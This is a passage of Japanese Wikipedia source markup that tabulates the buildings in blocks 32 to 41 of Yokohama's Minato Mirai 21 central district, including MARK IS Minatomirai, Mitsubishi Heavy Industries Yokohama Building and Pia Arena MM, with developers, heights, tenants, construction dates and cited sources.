** [[WeWork|ウィーワーク]]が2018年11月に国内最大拠点となる[[コワーキング]]スペース(シェアオフィス)を開設<ref name="sankeibiz181026">[https://web.archive.org/web/20181107040422/https://www.sankeibiz.jp/business/news/181026/bsd1810260500008-n1.htm ウィーワーク、シェアオフィスを来年3倍 年内に国内11拠点](SankeiBiz 2018年10月26日)</ref><ref>[https://www.wework.com/ja-JP/buildings/ocean-gate-minatomirai--yokohama Ocean Gate Minatomirai - Minatomirai Coworking Space](WeWork 公式サイト内)</ref>。
** [[ベントレー]]横浜(自動車ショールーム、ディーラー:SKYグループ)<ref name="bentley-yokohama"/>
* ブランズタワーみなとみらい(BRANZTOWER みなとみらい):東急不動産のマンションブランド「BRANZ(ブランズ)」の基幹物件。<br />(地上29階・地下1階、高さ99.7m)
(UR都市機構が2013年3月25日に行った[[競争入札|入札]]で同社が落札、土地を取得)<ref>[http://www.kentsu.co.jp/webnews/html_top/130327400024.html 東急不動産 MM21中央地区32街区1万平方㍍を取得](建通新聞{{small|〈電子版〉}} 2013年3月28日/神奈川)</ref><br />{{small|(過去:2006年3月に32番館 (飲食店等) 、同年10月に臨時バス専用駐車場閉鎖)}}
|'''<ブランズタワーみなとみらい>'''<br />2014年10月着工<ref>[http://www.kentsu.co.jp/webnews/html_top/141003400003.html MM32街区住宅棟 清水建設で着工](建通新聞{{small|〈電子版〉}} 2014年10月3日/神奈川)</ref><br />2017年1月竣工<ref name="decn140626"/><br />'''<オーシャンゲートみなとみらい>'''<br />2015年10月着工<br />2017年7月竣工<ref>[http://www.kensetsunews.com/?p=47608 MM21の32街区は清水/綱島東共住を三井住友](建設通信新聞 2015年5月8日付:関東面/[[archive.is]]による[https://archive.fo/q2dov 2015年6月11日時点のアーカイブ])</ref><br />(同年12月開業)
|-
|rowspan="3"|33街区
|colspan="2"|[[みなとみらいビジネススクエア]](オフィスビル・低層部商業施設)
(事業者:[[東京海上日動火災保険]])<br />(地上14階・地下2階、高さ約60m<ref name="mm-gaiku32-38"/>)
|2002年7月着工<br />2004年8月竣工<br />''みなとみらい駅直結''
|-
|colspan="2"|[[MMパークビル]](オフィスビル・低層部商業施設・医療機関等)
(事業者:三菱地所)<br />(地上16階・地下1階、高さ約72m<ref name="mm-gaiku32-38"/>)
|2006年5月着工<br />2007年12月竣工<br />''みなとみらい駅直結''
|-
|colspan="2"|[[みなとみらいセンタービル]](オフィスビル・低層部商業施設)
(事業者:[[オリックス (企業)|オリックス]]、[[大和ハウス工業]]、[[ケン・コーポレーション]])<br />(地上21階・地下2階、高さ約100m<ref name="mm-gaiku32-38"/>)
* MMcruise(1-3階、飲食店・ショップ・薬局・実験施設)
** [[マセラティ]]みなとみらい(自動車ショールーム、ディーラー:セブンアベニュー)<ref name="maserati-mm"/>
** [[ランボルギーニ]]横浜(自動車ショールーム、ディーラー:ボロネーゼ)<ref name="lamborghini-yokohama"/><ref name="carwatch170122">[https://car.watch.impress.co.jp/docs/news/1040255.html 最新CIを用いた「ランボルギーニ横浜」、横浜みなとみらい地区で1月21日オープン](Car Watch, 2017年1月22日)</ref>
** [[レノボ・ジャパン]]の企業向け[[ノートパソコン|ノートブックPC]]研究開発拠点「大和研究所」<br />(大型実験施設:1階の一部と2階の大部分、オフィス・実験室:20-21階<ref>[http://www.lenovo.com/news/jp/ja/2010/06/0624_1.html レノボ・ジャパン、みなとみらい21地区に 研究開発拠点「大和事業所」を移転](レノボ・ジャパン:プレスリリース 2010年6月24日)</ref>)
** [[バンテック (物流)|バンテック]]本社(2019年7月29日移転)<ref>[https://lnews.jp/2019/07/l0719409.html バンテック/本社を横浜みなとみらいへ移転](LNEWS 2019年7月19日)</ref>
|2007年9月着工<br />2010年5月竣工<br />''みなとみらい駅直結''
|-
|34街区
|colspan="2"|[[MARK IS みなとみらい]](大型商業施設)<br />(土地所有・事業者:三菱地所)<br />(地上6階・地下4階、高さ約37m<ref name="mm-gaiku32-38"/>)<br />
:当地区最大級の商業施設が横浜美術館前に誕生。地下で[[みなとみらい駅]]とも直結。
:ファッション、雑貨、レストラン、食料品店など約190のテナントが出店している<ref>[http://hamarepo.com/story.php?page_no=0&story_id=1309 みなとみらい21地区34街区に建設される新たな商用施設とは!?](はまれぽ.com 2012年9月2日)</ref>。<br />
'''<主要テナント>'''
* [[セガ]]による大自然体感型[[エンターテインメント]]施設「[[Orbi Yokohama]]」([[英国放送協会|BBC]]と提携、''2020年12月閉館'')<ref>[http://www.yomiuri.co.jp/homeguide/news/20130122-OYT8T00322.htm?from=yolsp 日本初の体験型娯楽施設、横浜に6月開業](読売新聞 2013年1月22日)</ref>
** 跡地:屋内型アニマルテーマパーク「Moff animal world(モフ アニマルワールド)」([[2021年]][[4月27日]]より約1年間期間限定オープン予定)<ref name="hamakei210419">[https://www.hamakei.com/headline/11312/ MARK IS みなとみらいに屋内型アニマルテーマパーク](ヨコハマ経済新聞 2021年4月19日)</ref>
* [[東京ガス]]横浜みなとみらいショールーム(横浜の食文化に関する体験型施設を併設)
* [[ボーネルンド]]あそびのせかい(子供の遊び場などキッズコーナー・ベビーコーナー)
* [[保育所#認可保育所|認可保育所]]「ポピンズナーサリースクールみなとみらい」
* [[横浜ジャックモール|ジャックモール]]のテナントのうち、[[スポーツオーソリティ]]、[[ノジマ]]、[[トイザらス]]等が再出店
|2011年5月着工<br />2013年6月開業<!--当初は2013年2月竣工予定であった--><br />''みなとみらい駅直結''<br />(駐車場:約900台収容)
|-
|35街区
|colspan="2"|[[グランモール公園]](美術の広場){{refnest|group="注"|グランモール公園の「美術の広場」のみが35街区に該当し、同公園のその他のエリア(広場)は各施設(=各街区)間を通る歩行者動線という扱いである<ref name="MM-info85"/>。}}
|1991年12月一部開園<br />1999年11月全面開園<br />{{small|(2015年度〜2016年度リニューアル)}}
|-
|36街区
|colspan="2"|[[横浜美術館]]
|1989年3月暫定開館{{small|([[横浜博覧会]]のパビリオン)}}<br />同年11月正式開館<br />(2023年12月リニューアル開館予定<ref name="city-yokohama220630">[https://www.city.yokohama.lg.jp/kanko-bunka/bunka/bunkashisetsu/default202102151449.html 横浜美術館の大規模改修工事に伴う長期休館について](横浜市文化観光局 <!--2021年2月18日、-->2022年6月30日更新、2022年9月29日閲覧)</ref><ref name="asahi220630">[https://www.asahi.com/articles/ASQ6Y6H8JQ6XUCVL01W.html ヨコハマトリエンナーレ、初の冬季開催 横浜美術館もリニューアル](朝日新聞デジタル 2022年6月30日)</ref>)
|-
|rowspan="2"|37街区
|colspan="2"|(南区画)[[三菱重工横浜ビル]]<br />(建物の規模:地上33階・地下2階、高さ151.9m/延床面積約100,900m{{sup|2}})
* [[東京都]][[港区 (東京都)|港区]]の[[三菱重工ビル]]と共に、[[三菱重工業]]の本社機能を有する('''横浜本社''')。また、[[火力発電]]システム事業などを行う[[三菱パワー]]の本社も入居。
* [[三菱重工横浜ビル#三菱みなとみらい技術館|三菱みなとみらい技術館]](建物内1-2階)
(2017年3月に[[ヒューリック]]が当ビルを取得しており<ref>{{PDFlink|1=[http://v4.eir-parts.net/v4Contents/View.aspx?template=announcement&sid=35551&code=3003 販売用不動産の取得について]}}(ヒューリック株式会社 2017年3月30日)</ref>、その後、[[ケネディクス]]グループが組成する[[投資ファンド|ファンド]]等に組み入れられている<ref name="kenedix170330">{{PDFlink|1=[http://v4.eir-parts.net/v4Contents/View.aspx?cat=tdnet&sid=1454414 オフィスビル及び開発用地の組入れ方針に関するお知らせ及び土地取得子会社の異動に関するお知らせ]}}(ケネディクス株式会社 2017年3月30日)</ref><ref name="zaikei170403">[http://www.zaikei.co.jp/article/20170403/361803.html ケネディクス オフィスビルと開発用地の組入れ方針を発表](財経新聞 2017年4月3日)</ref>。なお、三菱重工グループは以降も[[賃貸借|賃借]]により入居を継続している<ref>[https://web.archive.org/web/20170331040312/http://www.sankeibiz.jp/business/news/170331/bsc1703310500013-n1.htm 三菱重工の横浜ビル売却、特別利益500億円 大型客船事業で損失](SankeiBiz 2017年3月31日)</ref>)
|1992年4月着工<br />1994年2月<!--3月-->竣工<br />(同年6月開業)
|-
|colspan="2"|(北区画)KRF48によるオフィス・ホテル・店舗を主とした複合高層ビル<ref name="kensetsu-tsushin180508">[https://www.kensetsunews.com/archives/187171 MMに超高層複合施設/延12万㎡、20年4月着工/鹿島ら合同会社](建設通信新聞Digital 2018年5月8日5面〈関東・甲信〉/[[archive.is|archive.today]]による[https://archive.li/o1yOv 2018年5月11日時点のアーカイブ])</ref><br />〈みなとみらい21中央地区37街区開発計画/MM37タワー{{small|(仮称)}}〉<br />
(設計:[[鹿島建設]]・[[三菱地所設計]]、施工:鹿島建設<ref name="kensetsu-tsushin180508"/>)<br />
(敷地面積:約10,082m{{sup|2}}<!--<ref name="kensetsu-tsushin180508"/>-->、そのうち建築面積は約6,106m{{sup|2}}<!--現地「建築計画のお知らせ」標識看板より(2020年1月時点)-->)<br />
ケネディクス・[[パナソニック ホームズ|パナソニックホームズ]]・鹿島建設で構成される[[合同会社]]KRF48による[[三菱重工横浜ビル#隣接地における計画|三菱重工横浜ビル隣接地における開発計画]]。当計画は[[国土交通大臣]]の[[民間都市再生事業計画]]に認定されている<ref>[https://www.mlit.go.jp/report/press/toshi05_hh_000292.html 民間都市再生事業計画((仮称)みなとみらい21中央地区37街区開発計画)を認定 ~大規模なオフィスや良質なホテルを整備し、賑わいを創出~]/{{PDF|[https://www.mlit.go.jp/common/001341639.pdf 詳細資料]〈[https://web.archive.org/web/20220828080217/https://www.mlit.go.jp/common/001341639.pdf アーカイブ]〉}}(国土交通省都市局まちづくり推進課 令和2年 {{small|(2020年)}} 4月24日)</ref>。
; <フロア構成><ref name="kensetsu-tsushin180508"/>
(建物の規模:地上28階・地下1階<ref name="kensetsu-tsushin180508"/>、高さ約146m<ref name="mm-gaiku32-38"/>/延床面積約121,727m{{sup|2}}<!--現地「建築計画のお知らせ」標識看板より(2020年1月時点)-->)
* 低層部
** 地下1階:駐車場(駐車台数254台<!--現地「建築計画のお知らせ」標識看板より(2020年1月時点)-->)
** 1-2階:商業施設
** 3階:オフィスサポート施設([[会議|カンファレンス]]ルーム・[[コワーキング]]スペースなど)
* 中層部(4-18階):オフィスエリア
* 高層部(20-27階):ホテル<ref>[https://www.kanaloco.jp/news/economy/entry-377747.html 横浜・MM21地区に高層複合ビル 地下1階、地上28階](神奈川新聞{{small|〈カナロコ〉}} 2020年6月10日)</ref>
; <広場・歩行者ネットワーク>
隣接する横浜美術館側(東側)に「アートプラザ」、[[栄本町線|みなとみらい大通り]]側(南側)にアートプラザへの[[動線]](通景)を確保し建物のゲートにも当たる「ゲートプラザ」という2つの広場を設け、同美術館(36街区)と2020年3月に完成した[[ぴあアリーナMM]](38街区、将来的に当ビルとペデストリアンデッキで接続予定)を結ぶ「芸術と文化軸」(歩行者動線・にぎわい空間)を形成。この他、北側と西側にも広場を設ける計画となっている<ref name="kensetsu-tsushin180508"/>。
; <開発決定までの経緯>
: {{small|''「[[三菱重工横浜ビル#隣接地における計画]]」も参照''}}
当地ではもともと三菱重工横浜ビルの二期棟計画があったが、当面延期となり[[住宅展示場]]の「横浜ホームコレクション」(暫定施設)が置かれてきた経緯がある。2013年に二期棟計画(下記参照)が再浮上したが、開発の着手までには至らなかった<ref name="bluestyle190204">[http://bluestyle.livedoor.biz/archives/52458838.html 高さ150m「(仮称)みなとみらい21中央地区37街区開発計画」に建築計画のお知らせ設置(2019.2.3)](超高層マンション・超高層ビル 2019年2月4日)</ref>。<br />その後、2017年3月にケネディクスが組成した[[特別目的事業体|特別目的会社]]・KRF48が土地を取得し、みなとみらい地区全体や[[統合型リゾート|IR]]法案等の状況も見据えた上で新規開発プロジェクトを模索することとなった<ref name="kenedix170330"/><ref name="zaikei170403"/>。同年11月にはパナソニックホームズ(旧パナホーム)および鹿島建設もKRF48に出資し開発プロジェクトに参画することとなり、開発計画の具体化に向けて大きく進展<ref>{{PDFlink|1=[http://v4.eir-parts.net/v4Contents/View.aspx?cat=tdnet&sid=1535880 開発事業パートナーの参画に伴う子会社の異動に関するお知らせ]}}(ケネディクス株式会社 2017年11月24日)</ref>。2018年5月に複合高層ビル(上記)の開発計画が公表された<ref name="kensetsu-tsushin180508"/>。なお、横浜ホームコレクションは2019年7月末で営業を終了し<ref>[https://www.yokohama-hc.com/info/%e9%96%89%e5%a0%b4%e3%81%ae%e3%81%8a%e7%9f%a5%e3%82%89%e3%81%9b/ 横浜ホームコレクション:営業終了のお知らせ](公式サイト内お知らせ 2019年7月9日付、''2019年8月13日閲覧{{small|〈[https://megalodon.jp/2019-0814-0620-25/https://www.yokohama-hc.com:443/info/%e9%96%89%e5%a0%b4%e3%81%ae%e3%81%8a%e7%9f%a5%e3%82%89%e3%81%9b/ 同日付のウェブ魚拓キャッシュ]〉}}'')</ref><!--公式サイトのトップページでは2019年8月5日閉場とある(参考:https://megalodon.jp/2019-0814-0706-53/https://www.yokohama-hc.com:443/)-->、翌8月より解体されている<ref>[http://shinonome-ri.com/archives/1163#37 (仮称)みなとみらい21中央地区37街区開発計画の状況:37街区の現状/2019年5月4日の状況](東雲総合研究所 2019年5月5日更新)</ref>。<br />
{{small|(過去:当地では三菱重工横浜ビルの新たな二期棟計画が2013年に公表され、2015年の着工および2017年の竣工を目指すとしていた<ref>[http://www.kensetsunews.com/?p=20550 11万m{{sup|2}} 15年着工目指す/MM21の37街区II期棟/三菱重工業](建設通信新聞 2013年9月26日付:関東面/[[archive.is]]による[https://archive.fo/XSfNu 2013年9月28日時点のアーカイブ]/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20140413202948/http://www.kensetsunews.com/?p=20550 2014年4月13日時点のアーカイブ])</ref><ref name="kanaloco131003">[https://www.kanaloco.jp/news/economy/entry-41959.html 三菱重工、MM21地区に超高層ビル計画 日立との新会社本社を設置/横浜](神奈川新聞{{small|〈カナロコ〉}} 2013年10月3日)</ref><ref name="yuuran-mitsubishi-jyuko2">[http://building-pc.cocolog-nifty.com/helicopter/2013/09/post-9bb6.html 三菱重工業 地上32階、高さ約165mの「(仮称)みなとみらい21中央地区37街区Ⅱ期棟計画」](東京・大阪 都心上空ヘリコプター遊覧飛行 2013年9月26日)</ref><ref name="yokohama-37II">[http://www.city.yokohama.lg.jp/kankyo/mamoru/asesu/jigyou/74/hairyo/ (仮称)みなとみらい21中央地区37街区II期棟計画に係る計画段階配慮書]〈[https://web.archive.org/web/20181004164213/http://www.city.yokohama.lg.jp/kankyo/mamoru/asesu/jigyou/74/hairyo/ アーカイブ]〉:{{PDFlink|[http://www.city.yokohama.lg.jp/kankyo/mamoru/asesu/jigyou/74/hairyo/bunkatu/02-1.pdf 事業計画の概要]〈[https://web.archive.org/web/20171228232220/http://www.city.yokohama.lg.jp/kankyo/mamoru/asesu/jigyou/74/hairyo/bunkatu/02-1.pdf アーカイブ]〉}}(三菱重工業株式会社/横浜市環境創造局 2013年9月公開)</ref>が、未着工のままその後の進展がなく2017年3月<!--〈KRF48が土地を取得〉-->までに白紙撤回となった)}}
|2020年4月着工<ref name="kensetsu-tsushin180508"/><ref name="MMAM-db37-mm37tower">[https://www.ymm21.jp/database/detail/post-119.html (仮称)みなとみらい21中央地区37街区開発計画〈37街区〉](みなとみらいエリアマネジメント公式サイト:みなとみらいデータベース)</ref><!--3月着工予定との情報もあり。現地「建設計画のお知らせ」工事案内板(2019年11月時点)では2020年4月着工予定、着工予定時期は当初の2019年10月から半年延期となったが竣工予定時期には変更なし(同時点で既存建物の解体は全て完了済み)--><!--<ref>[https://www.kentsu.co.jp/webnews/html_top/190128400028.html 西区10月着工へMM37街区の超高層ビル](建通新聞{{small|〈電子版〉}} 2019年1月29日/神奈川)</ref>--><br />2023年1月竣工予定<!--3月竣工予定との情報もあり--><ref name="kensetsu-tsushin180508"/><ref name="MMAM-db37-mm37tower"/><br />{{refnest|group="注"|2018年9月に公開された計画段階配慮書によると、工期予定は2019年〜2023年となっている<ref>[http://building-pc.cocolog-nifty.com/helicopter/2018/09/2017-2b59.html 横浜みなとみらい21地区 地上28階、高さ約150mの「(仮称)みなとみらい21中央地区37街区開発計画」 計画段階配慮書の縦覧!](東京・大阪 都心上空ヘリコプター遊覧飛行 2018年9月8日)</ref><ref>[http://www.city.yokohama.lg.jp/kankyo/mamoru/asesu/jigyou/85/hairyo/ (仮称)みなとみらい21中央地区37街区開発計画に係る計画段階配慮書]〈[https://web.archive.org/web/20180910094848/http://www.city.yokohama.lg.jp/kankyo/mamoru/asesu/jigyou/85/hairyo/ アーカイブ]〉:{{PDFlink|[http://www.city.yokohama.lg.jp/kankyo/mamoru/asesu/jigyou/85/hairyo/mm37-01dai1syou.pdf 第1章 事業計画の概要]〈[https://web.archive.org/web/20180910131346/http://www.city.yokohama.lg.jp/kankyo/mamoru/asesu/jigyou/85/hairyo/mm37-01dai1syou.pdf アーカイブ]〉}}(合同会社KRF48<!-- 2018年9月-->/横浜市環境創造局 2018年9月5日公開<!--公告縦覧:同日より同月19日まで-->)</ref>。}}<!--<br />(現所有:KRF48)-->
|-
|rowspan="3"|38街区
|colspan="2"|'''今後開発予定地'''(最北部の区画)<ref name="toshi-kaihatsujokyozu"/><ref name="mitsubishi jisho161027"/><ref name="mitsubishi jisho171201"/><br />(敷地面積:約5,200m{{sup|2}}<!--38街区全体の約19,700m{{sup|2}}からMMアリーナ約12,000m{{sup|2}、首都高計画地約2,500m{{sup|2}}を引いた値-->)<br />
(2018年7月より[[コインパーキング]]の[[三菱地所リアルエステートサービス|PEN]]〈みなとみらい3丁目パーキング〉あり<!--当初は敷地の一部のみ(駐車台数:81台)だったが同年10月時点で敷地の全体(駐車台数:166台)に拡大〈当初参考:https://web.archive.org/web/20180811195905/http://pen-park.mecyes.co.jp/hourly/detail/P000000520〉--><ref>[http://pen-park.mecyes.co.jp/hourly/detail/P000000520 PEN横浜市西区みなとみらい3丁目パーキング](三菱地所リアルエステートサービスの駐車場「PEN」 公式サイト)</ref>)
|''開発内容等詳細は不明''<!--2017年8月時点--><br />(所有:三菱地所<ref name="mitsubishi jisho161027"/><ref name="mitsubishi jisho171201"/>)
|-
|colspan="2"|[[ぴあアリーナMM]]<ref name="pia170720">{{PDFlink|[http://corporate.pia.jp/news/files/908f30bb5e135303873bdaf1a1f807a7843fa122.pdf 固定資産の取得(大型音楽アリーナ建設)及び賃借に関するお知らせ]}}(ぴあ株式会社:プレスリリース 2017年7月20日)</ref><ref>[https://www.itmedia.co.jp/news/articles/1707/20/news101.html ぴあ、「1万人規模の音楽アリーナ」横浜に建設 2020年開業へ](ITmedia NEWS 2017年7月20日)</ref><br />(敷地面積:38街区全体約19,700m{{sup|2}}<ref name="mitsubishi jisho161027"/>のうち、約12,000m{{sup|2}} <ref name="pia170720"/>)<br />
[[ぴあ]]が収容客数1万人規模の大型コンサートアリーナ(地上4階建て・高さ約32m、飲食店も入居<ref name="asahi170720">[http://www.asahi.com/articles/ASK7N5G9LK7NULFA01K.html ぴあ、1万人音楽アリーナ建設へ 横浜・みなとみらいに](朝日新聞デジタル 2017年7月20日)</ref>)を開設<ref name="pia170720"/><ref name ="kanaloco190708">[https://www.kanaloco.jp/news/economy/entry-180268.html 「ぴあアリーナMM」開業は来年4月 ゆずがこけら落とし](神奈川新聞{{small|〈カナロコ〉}} 2019年7月8日)</ref>。同社はこれを機にホール・劇場運営事業に本格参入する<ref>[http://www.nikkei.com/article/DGXLASDZ20HF9_Q7A720C1000000/ ぴあ、横浜みなとみらいに音楽アリーナ 1万人規模](日本経済新聞{{small|〈電子版〉}} 2017年7月20日)</ref>。
* 当初は2020年4月25日の開業を予定していたが、[[日本における2019年コロナウイルス感染症の流行状況|新型コロナウイルスの感染拡大]]により全公演中止または延期され、同年7月10日に改めて正式開業となった<ref name="pia-arena200709">[https://pia-arena-mm.jp/news/626.html 7月10日開業、およびこけら落とし映像配信が決定! 「ゆず」が代表曲「栄光の架橋」を特別披露!](ぴあアリーナMM:news 2020年7月9日)</ref>。
* 民間企業単独による同規模のアリーナ建設・運営は日本国内初<ref name="pia170720"/><ref name="decn170724">[http://www.decn.co.jp/?p=92958 ぴあ/MM21地区(横浜市西区)に1万人規模アリーナ、佐藤工業で12月着工へ](日刊建設工業新聞 2017年7月24日5面)</ref>。[[2020年東京オリンピック|東京オリンピック]]開催(※当初2020年夏に開催予定)による大型ホール・会場不足問題への対策も兼ねている<ref name="pia170720"/><ref name="asahi170720"/>。
* 音楽コンサートをメインとするものの、公演のジャンルについては限定しない<ref name="decn170724"/>。
* アーティストとの距離感や音響・照明環境の強化に加え、機材搬入の効率化なども考慮し新しいタイプの音楽アリーナを目指す<ref name="asahi170720"/><ref name="decn170724"/>。
* 周辺の集客施設およびエンターテインメント関連企業、横浜市と連携して地域の活性化にも取り組む<ref name="pia170720"/><ref>[https://web.archive.org/web/20170817082318/https://www.musicman-net.com/business/5505 ぴあ、収容1万人規模の大型音楽アリーナを横浜・みなとみらい地区に2020年春開設](Musicman-NET 2017年7月21日)</ref>。
* みなとみらい大通りに面する2階部分にはペデストリアンデッキを設置し、下記の首都高神奈川局を経由して[[桜木町駅]]方面とも接続<ref name="hamarepo180912">[http://hamarepo.com/story.php?story_id=6899 「ぴあMMアリーナ(仮称)」の工事現場に突撃!](はまれぽ.com 2018年9月12日)</ref><ref name="hamarepo190122">[http://hamarepo.com/story.php?story_id=7053 桜木町駅からどこまでデッキが伸びる!? 「ウェスティンホテル横浜」がまもなく着工~みなとみらいレポート](はまれぽ.com 2019年1月22日)</ref>(この他、将来的にみなとみらい大通りの頭上を横切るようにデッキが分岐して、KRF48による37街区複合ビルにも接続予定。また、44街区([[ウェスティンホテル横浜]])方面にも延伸する計画がある<ref name="MM-info85"/><ref name="hamarepo190122"/>)。
(三菱地所が所有する土地を[[定期借地権]]{{small|〈営業期間:30年<ref name="pia171109"/>〉}}で借り受け、[[佐藤工業]]の施工で建設<ref name="decn170724"/>)<br />
{{small|(過去:暫定施設の中古車センター「[[日産自動車|日産]]カーパレス」<!--南区画-->と「[[トヨタ自動車|トヨタ]]ジョイパーク」<!--北区画-->が2017年3月に閉鎖)}}<br />{{small|(過去には38街区にて、三菱地所による高さ180m級の高層オフィスビル計画も明らかになっている<!--2009年に計画が中止でなく延期となっているが、2017年時点でも計画がそのまま残存しているかは不明--><ref>[http://taccolinmm.livedoor.blog/archives/2283076.html こんな構想あったんだ、38街区180m級オフィスビル計画延期…](みなとみらい線周辺散歩日記 2009年2月15日/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20160215021828/http://blogs.yahoo.co.jp/taccolin/60190928.html 2016年2月15日時点のアーカイブ])</ref>)}}
|2017年12月着工<ref name="pia170720"/><br />2020年3月竣工<ref name="hamakei200503">[https://www.hamakei.com/headline/10869/ 医療関係者への感謝の思いを込めて 開業予定だった「ぴあアリーナMM」ライトアップ](ヨコハマ経済新聞 2020年5月3日)</ref><!--<br />(当初:2020年4月開業予定<ref name="pia170720"/>)--><br />(''30年間の定期借地''<ref name="pia171109">{{PDFlink|[http://corporate.pia.jp/news/files/%E3%80%904337%E3%81%B4%E3%81%82%E3%80%91%E5%9B%BA%E5%AE%9A%E8%B3%87%E7%94%A3%E8%B3%83%E5%80%9F%E8%BF%BD%E5%8A%A0%E9%96%8B%E7%A4%BA20171109.pdf (追加開示)固定資産の取得(大型音楽アリーナ建設)及び賃借に関するお知らせ]}}(ぴあ株式会社:プレスリリース 2017年11月9日)</ref>) <!--(暫定施設)--><br />(所有:三菱地所<ref name="mitsubishi jisho161027"/>)
|-
|colspan="2"|[[首都高速道路|首都高速道路株式会社]]神奈川局(事務所・駐車所)<ref name="toshi-kaihatsujokyozu"/><ref name="minkabu170823">[https://news.minkabu.jp/articles/urn:newsml:www.kentsu.co.jp:20170823:8523b10ea30c58875c622fbc172fb7eb 首都高 来年6月着工へ発注 神奈川局新築](建通新聞{{small|〈東京〉}} 2017年8月23日〈[[みんなの株式|minkabu]]ニュース〉/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20171206074617/https://news.minkabu.jp/articles/urn:newsml:www.kentsu.co.jp:20170823:8523b10ea30c58875c622fbc172fb7eb 2017年12月6日時点のアーカイブ])</ref><ref name="MMAM-db38-syutoko">[https://www.ymm21.jp/database/detail/post-126.html 首都高速道路株式会社 神奈川局〈38街区〉](みなとみらいエリアマネジメント公式サイト:みなとみらいデータベース)</ref><br />(敷地面積:約2,500m{{sup|2}}/最南部の区画:[[首都高速神奈川1号横羽線]][[みなとみらい出入口]]至近<ref name="minkabu170823"/>)<br />(建物の規模:地上10階、高さ47m<ref name="mm-gaiku32-38"/>/基本設計:UG都市建築<ref name="minkabu170823"/>)<!--詳細情報は現地建築計画標識より-->
* 神奈川局(<!--2020年頃に-->神奈川管理局と神奈川建設局を統合)の事務所の他に、[[パトロールカー]]などの駐車スペース(60台分)も確保<ref name="minkabu170823"/>。
: ([[京急東神奈川駅]]近くより事務所を移転し2021年4月に開業)
* 低層部の1・2階には見学自由(無料)の展示スペース「首都高MMパーク」が2021年6月<!--30日-->にオープン<ref name="shutoko210630">[https://www.shutoko.co.jp/updates/2021/data/06/30_oshirase/ 「首都高MMパーク」がオープンしました](首都高速道路株式会社 2021年6月30日)</ref>。
* 道路を挟んで向かい側にある30街区の[[横浜銀行本店ビル]](桜木町駅方面)および上記のぴあアリーナMMとペデストリアンデッキで接続<ref name="MMAM-db38-syutoko"/>。
|2019年4月着工<ref name="MMAM-db38-syutoko"/><br /><!--2020年12月竣工予定--><!--現地「建築計画のお知らせ」看板より(2019年3月26日時点)-->2021年3月竣工<ref name="MMAM-db38-syutoko"/><br />(同年4月開業)<br />(土地売却か定期借地かは不明)<br />(<!--元?-->所有:三菱地所<ref name="mitsubishi jisho161027"/>)
|}
{{-}}
===== 39-49街区 =====
<!--画像は街区記載順に-->
[[画像:View of condominiums in Minato Mirai 21.JPG|180px|thumb|M.M.TOWERS、M.M.TOWERS FORESIS]]
[[画像:Yokohamamedhiatower.JPG|180px|thumb|[[横浜メディアタワー]]]]
[[画像:Grand-Mall Park 2017 (Pier Square) 03R.jpg|180px|thumb|みなとみらいミッドスクエア(低層部の[[スターバックス|スターバックスコーヒー]]併設[[TSUTAYA]])]]
[[画像:MM - Grand Central Tower 10.jpg|180px|thumb|[[みなとみらいグランドセントラルタワー]]]]
[[画像:Kanagawa University Minato-Mirai Campus 01.jpg|180px|thumb|[[神奈川大学]][[神奈川大学#みなとみらいキャンパス|みなとみらいキャンパス]]]]
<!--[[画像:Arukaef.jpg|thumb|180px|[[アルカエフ]](2019年7月全館閉鎖)]]-->
[[画像:The Westin Yokohama 01.jpg|thumb|180px|[[ウェスティンホテル横浜]]]]
[[画像:MM - Bulue Ave..02.jpg|thumb|180px|[[横浜ブルーアベニュー]]]]
[[画像:Yokohama Nomura Building (Outside view) 01a2.jpg|180px|thumb|[[横浜野村ビル]]]]
[[画像:Shimizu Kensetsu MM46 Office Building 04.jpg|180px|thumb|[[横浜アイマークプレイス]]]]
[[画像:KT building (Koei Tecmo headquarters).jpg|180px|thumb|KTビル([[コーエーテクモゲームス]]本社)]]
[[画像:Murata Manufacturing Minatomirai Innovation Center 01.jpg|180px|thumb|[[村田製作所みなとみらいイノベーションセンター]]]]
[[画像:Shincron 1.jpg|thumb|180px|[[シンクロン]]本社ビル]]
{|class="wikitable" style="font-size:small"
!style="background-color:#efefef"|街区
!colspan="2" style="background-color:#efefef"|内容
!style="background-color:#efefef"|備考
|-
|39街区
|colspan="2"|M.M.TOWERS(集合住宅)
* THE West/THE East/THE Southの3棟からなる。
(いずれも地上30階・地下1階、高さ99.9m<ref>[http://www.blue-style.com/photo/todohuken/view-112.html M.M.TOWERS THE West]/[http://www.blue-style.com/photo/todohuken/view-113.html M.M.TOWERS THE East]/[http://www.blue-style.com/photo/todohuken/view-114.html M.M.TOWERS THE South] - BLUE STYLE COM</ref>)
|THE West:2003年10月竣工<br />THE East:同年2月竣工<br />THE South:同年10月竣工
|-
|40街区
|colspan="2"|M.M.TOWERS FORESIS(集合住宅)
* R棟/L棟の2棟からなる。
(いずれも地上30階・地下1階、高さ99.95m<ref>[http://www.blue-style.com/photo/todohuken/view-1690.html M.M.TOWERS FORESIS R棟]/[http://www.blue-style.com/photo/todohuken/view-1692.html M.M.TOWERS FORESIS L棟] - BLUE STYLE COM</ref>)
|R棟:2007年3月竣工<br />L棟:2008年2月竣工
|-
|rowspan="2"|41街区
|colspan="2"|(北区画)[[横浜メディアタワー]](上部に通信用タワー設置)
(地上22階・地下2階、高さ約105m〈通信用タワー込みの高さは約253m〉<ref name="mm-gaiku39-49">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.html みなとみらい21地区全体図] > [https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/index39-49.html 街区開発状況 中央地区(39〜49街区)](都市整備局都心再生部横浜駅・みなとみらい推進課 ''2022年9月30日閲覧'')</ref>)
* [[NTTドコモ]]神奈川支店
* [[東日本電信電話|NTT]]横浜遊電地(休館中)
* [[ウエルシア薬局|ハックドラッグ]]([[ドラッグストア]])
* Chef's Green(レストラン)
* PLUS APPLI(各種[[自動販売機]]コーナー)
* Simple Style(インテリア・家具)(''2014年5月閉店'')
|1997年5月開業<br />1999年5月開業<br />(通信用タワー:同年10月完成)
|-
|colspan="2"|(南区画)みなとみらいミッドスクエア ザ・タワーレジデンス(M.M.MID SQUARE、集合住宅)<br />
(地上31階・地下1階、高さ99.95m)
* [[TSUTAYA]] 横浜みなとみらい店
* [[スターバックス]](TSUTAYA併設)
